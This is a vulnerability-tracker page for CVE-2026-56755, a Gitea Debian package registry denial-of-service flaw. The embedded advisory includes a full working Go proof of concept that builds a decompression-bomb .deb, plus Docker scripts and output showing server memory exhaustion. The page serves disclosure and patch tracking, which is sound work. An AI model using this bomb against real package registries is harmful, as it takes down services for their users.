Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

cve-program · severity unknownEUVD CVSS 3.1 6.2 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 6.2 MEDIUMCVSS_V4 Publisher rating HIGHFixed by code.gitea.io/gitea 1.27.0osv · severity unknownFixed by gitea.dev 1.27.0KEV status unknown

cve-program · CVE-2026-56755

Published

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Read the publisher's advisory

euvd · EUVD-2026-58146

Published

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Read the publisher's advisory

nvd · CVE-2026-56755

Published

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Read the publisher's advisory

osv · GHSA-6hm7-3pwj-22rm

Published

Gitea's Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146). ### Root Cause There are two distinct root causes that can be exploited independently or together. **1. Unbounded decompression (decompression bomb)** ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110 The resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`, every byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded `strings.Builder` via `io.TeeReader`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150 There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack. **2. O(N²) string concatenation** For each continuation line belonging to the Description field, the parser appends to a plain string with +=: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164 Because Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM. ### Reproducing I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with. This has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. All the files go in the gitea file directory. `cmd/poc/main.go` ```go package main import ( "archive/tar" "bytes" "compress/gzip" "fmt" "io" "os" "runtime" "strings" "time" "github.com/blakesmith/ar" debian_module "gitea.dev/modules/packages/debian" ) // targetUncompressed is the desired size of the uncompressed control file. // Set comfortably above the 12 GB container limit so the OOM kill is reliable. const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB // padLine is the filler field written after the required package fields. // Using an unknown field key ("X") means the parser discards the value but the // TeeReader still copies every byte into control.Builder — that is the bug. // Unlike Description continuation lines this does NOT trigger the O(N²) path, // so memory exhaustion is purely linear and fast. const padLine = "X: a\n" // 5 bytes // controlHeader is a minimal valid Debian control file preamble. const controlHeader = "Package: evil\n" + "Version: 1.0\n" + "Architecture: amd64\n" + "Maintainer: Evil Hacker <[email protected]>\n" + "Description: exploit\n" func printMem() { var m runtime.MemStats runtime.ReadMemStats(&m) // Print RSS-equivalent (HeapSys + StackSys covers most process memory). fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n", float64(m.HeapAlloc)/1e9, float64(m.Sys)/1e9, float64(m.TotalAlloc)/1e9, ) } // buildControlTarGz streams a gzip-compressed tar archive containing a single // "control" entry whose uncompressed size is ~targetUncompressed bytes. // Writing is done in large batches so the loop itself is fast; gzip compresses // the repetitive content to a fraction of its original size. func buildControlTarGz(w io.Writer) error { gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed) if err != nil { return fmt.Errorf("gzip.NewWriter: %w", err) } tw := tar.NewWriter(gzw) numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine) totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine)) if err := tw.WriteHeader(&tar.Header{ Name: "./control", Mode: 0o644, Size: totalSize, ModTime: time.Now(), Typeflag: tar.TypeReg, }); err != nil { return fmt.Errorf("tar WriteHeader: %w", err) } if _, err := tw.Write([]byte(controlHeader)); err != nil { return fmt.Errorf("write header: %w", err) } // Write padLine in 5 MB batches (1 M lines × 5 bytes). const batchLines = 1_000_000 batch := []byte(strings.Repeat(padLine, batchLines)) fullBatches := numPadLines / batchLines remainder := numPadLines % batchLines fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n", numPadLines, float64(totalSize)/1e9) t0 := time.Now() for i := range fullBatches { if _, err := tw.Write(batch); err != nil { return fmt.Errorf("batch write: %w", err) } if i%500 == 0 && i > 0 { pct := float64(i) / float64(fullBatches) * 100 fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds()) } } if remainder > 0 { if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil { return fmt.Errorf("remainder write: %w", err) } } if err := tw.Close(); err != nil { return fmt.Errorf("tar close: %w", err) } if err := gzw.Close(); err != nil { return fmt.Errorf("gzip close: %w", err) } fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds()) return nil } // buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member // is the bomb; data.tar.gz is empty. func buildDeb(w io.Writer) error { // Buffer control.tar.gz first so we know its compressed size for the ar header. var ctrlBuf bytes.Buffer fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...") if err := buildControlTarGz(&ctrlBuf); err != nil { return err } ctrlBytes := ctrlBuf.Bytes() fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6) // Empty data.tar.gz var dataBuf bytes.Buffer dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed) tar.NewWriter(dgzw).Close() dgzw.Close() dataBytes := dataBuf.Bytes() arw := ar.NewWriter(w) if err := arw.WriteGlobalHeader(); err != nil { return err } now := time.Now() for _, member := range []struct { name string data []byte }{ {"debian-binary", []byte("2.0\n")}, {"control.tar.gz", ctrlBytes}, {"data.tar.gz", dataBytes}, } { if err := arw.WriteHeader(&ar.Header{ Name: member.name, Size: int64(len(member.data)), Mode: 0o644, ModTime: now, }); err != nil { return fmt.Errorf("ar header %s: %w", member.name, err) } if _, err := arw.Write(member.data); err != nil { return fmt.Errorf("ar write %s: %w", member.name, err) } } return nil } func main() { fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===") fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9) fmt.Printf("Container memory limit: 12 GB\n\n") // Background goroutine prints memory stats every 2 s. go func() { for range time.Tick(2 * time.Second) { printMem() } }() // Phase 1 — create the payload and save it to a temp file. // Writing to disk keeps the ~200 MB compressed payload out of the heap // before we start the parse phase. tmp, err := os.CreateTemp("", "evil-*.deb") if err != nil { fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err) os.Exit(1) } defer os.Remove(tmp.Name()) defer tmp.Close() t0 := time.Now() if err := buildDeb(tmp); err != nil { fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err) os.Exit(1) } sz, _ := tmp.Seek(0, io.SeekCurrent) fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds()) // Phase 2 — call ParsePackage, mirroring UploadPackageFile at // routers/api/packages/debian/debian.go:146. // The TeeReader inside ParseControlFile (metadata.go:149) will copy the // entire 15 GB decompressed stream into control.Builder, exhausting the // 12 GB container limit and triggering an OOM kill. fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...") fmt.Println(" Memory will grow until the container is OOM-killed.") printMem() if _, err := tmp.Seek(0, io.SeekStart); err != nil { fmt.Fprintf(os.Stderr, "seek: %v\n", err) os.Exit(1) } t1 := time.Now() _, parseErr := debian_module.ParsePackage(tmp) // We only reach here if ParsePackage returns before OOM (e.g. scanner error). fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr) printMem() } ``` `Dockerfile.poc` ```docker FROM golang:1.26-bookworm AS builder WORKDIR /src # Copy the full repo so the PoC can import gitea.dev/modules/packages/debian # and github.com/blakesmith/ar via the existing go.mod/go.sum. COPY . . # Build only the PoC binary; ignore the rest of the tree. RUN go build -o /poc ./cmd/poc/ # ── runtime image ────────────────────────────────────────────────────────────── FROM debian:bookworm-slim COPY --from=builder /poc /poc ENTRYPOINT ["/poc"] ``` Now run the PoC in the Docker container with: ```bash #!/usr/bin/env bash set -euo pipefail IMAGE=gitea-debian-poc echo "=== Building Docker image ===" docker build -f Dockerfile.poc -t "$IMAGE" . echo "" echo "=== Running PoC (memory limit: 12 GB) ===" echo " The container will be OOM-killed once memory is exhausted." echo "" # --memory caps RSS; --memory-swap equal to --memory disables swap. # --oom-kill-disable is NOT set so the kernel OOM killer fires normally. docker run --rm \ --memory=12g \ --memory-swap=12g \ --name gitea-poc \ "$IMAGE" EXIT=$? echo "" if [ $EXIT -eq 137 ]; then echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed." else echo "Container exited with code $EXIT." fi ``` You will see the following when running the container (see the heap allocation growing towards the end): ``` === Building Docker image === DEPRECATED: The legacy builder is deprecated and will be removed in a future release. Install the buildx component to build images with BuildKit: https://docs.docker.com/go/buildx/ Sending build context to Docker daemon 59.32MB Step 1/7 : FROM golang:1.26-bookworm AS builder ---> eafdda676c2e Step 2/7 : WORKDIR /src ---> Using cache ---> db52a8f73485 Step 3/7 : COPY . . ---> Using cache ---> 4caf57c6e889 Step 4/7 : RUN go build -o /poc ./cmd/poc/ ---> Using cache ---> 286afcb05d0e Step 5/7 : FROM debian:bookworm-slim ---> f54f5c8e2e12 Step 6/7 : COPY --from=builder /poc /poc ---> Using cache ---> d7d0b269df49 Step 7/7 : ENTRYPOINT ["/poc"] ---> Using cache ---> b233faaad561 Successfully built b233faaad561 Successfully tagged gitea-debian-poc:latest === Running PoC (memory limit: 12 GB) === The container will be OOM-killed once memory is exhausted. === Gitea Debian Parser — Decompression Bomb PoC === Target uncompressed control file size: 16.1 GB Container memory limit: 12 GB [phase 1] Generating control.tar.gz (compressed payload)... Streaming 3221225450 lines (16.1 GB) through gzip... [mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB ... 16% (2.1s) ... 31% (3.9s) [mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB ... 47% (5.8s) [mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB ... 62% (7.4s) [mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB ... 78% (9.0s) [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB ... 93% (10.8s) Done in 11.5s control.tar.gz compressed size: 83.07 MB Payload .deb on disk: 83.07 MB (took 11.6s) [phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)... Memory will grow until the container is OOM-killed. [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB [mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB [mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB [mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB [mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB [mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB [mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB [mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB [mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB [mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB [mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB [mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB [mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB [mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB [mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB [mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB [mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB [mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB [mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB [mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB [mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB [mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB [mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB [mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB [mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB [mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB [mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB [mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB [mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB [mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB [mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB [mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB [mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB ```

Read the publisher's advisory

osv · GO-2026-6037

Published

Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload in gitea.dev

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-56755

Published

Gitea Open Source Git Server

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Gitea",
                    "product": "Gitea Open Source Git Server",
                    "versions": [
                        {
                            "version": "0",
                            "lessThanOrEqual": "1.26.4",
                            "status": "affected",
                            "versionType": "semver"
                        }
                    ],
                    "defaultStatus": "unaffected"
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-58146

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 13, 2026, 4:44:44 PM

dateUpdated: Aug 13, 2026, 6:38:14 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-2304: Gitea: Mehrere Schwachstellen

CVE-2026-58417 · CVE-2026-58420 · CVE-2026-58425 · CVE-2026-58427 · CVE-2026-58428 · CVE-2026-58429 · CVE-2026-58431 · CVE-2026-58432 · CVE-2026-58433 · CVE-2026-58434 · CVE-2026-58435 · CVE-2026-58436 · CVE-2026-58437 · CVE-2026-58438 · CVE-2026-58439 · CVE-2026-58440 · CVE-2026-58441 · CVE-2026-58442 · CVE-2026-58443 · CVE-2026-58444 · CVE-2026-58445 · CVE-2026-58507 · CVE-2026-58508 · CVE-2026-58510 · CVE-2026-58511 · CVE-2026-59763 · CVE-2026-59765 · CVE-2026-59766 · CVE-2026-23603 · CVE-2026-42931 · CVE-2026-50105 · CVE-2026-54481 · CVE-2026-55982 · CVE-2026-55984 · CVE-2026-55986 · CVE-2026-55987 · CVE-2026-56443 · CVE-2026-56654 · CVE-2026-56657 · CVE-2026-56750 · CVE-2026-56755 · CVE-2026-57886 · CVE-2026-57894 · CVE-2026-57897 · CVE-2026-58314 · CVE-2026-58416

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-56755

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-284

Original publisher date fields

published: 2026-08-13T17:17:25.680

lastModified: 2026-08-26T16:53:48.300

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-6hm7-3pwj-22rm

Published

code.gitea.io/gitea

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-6037

Published

gitea.dev

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 21:09 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current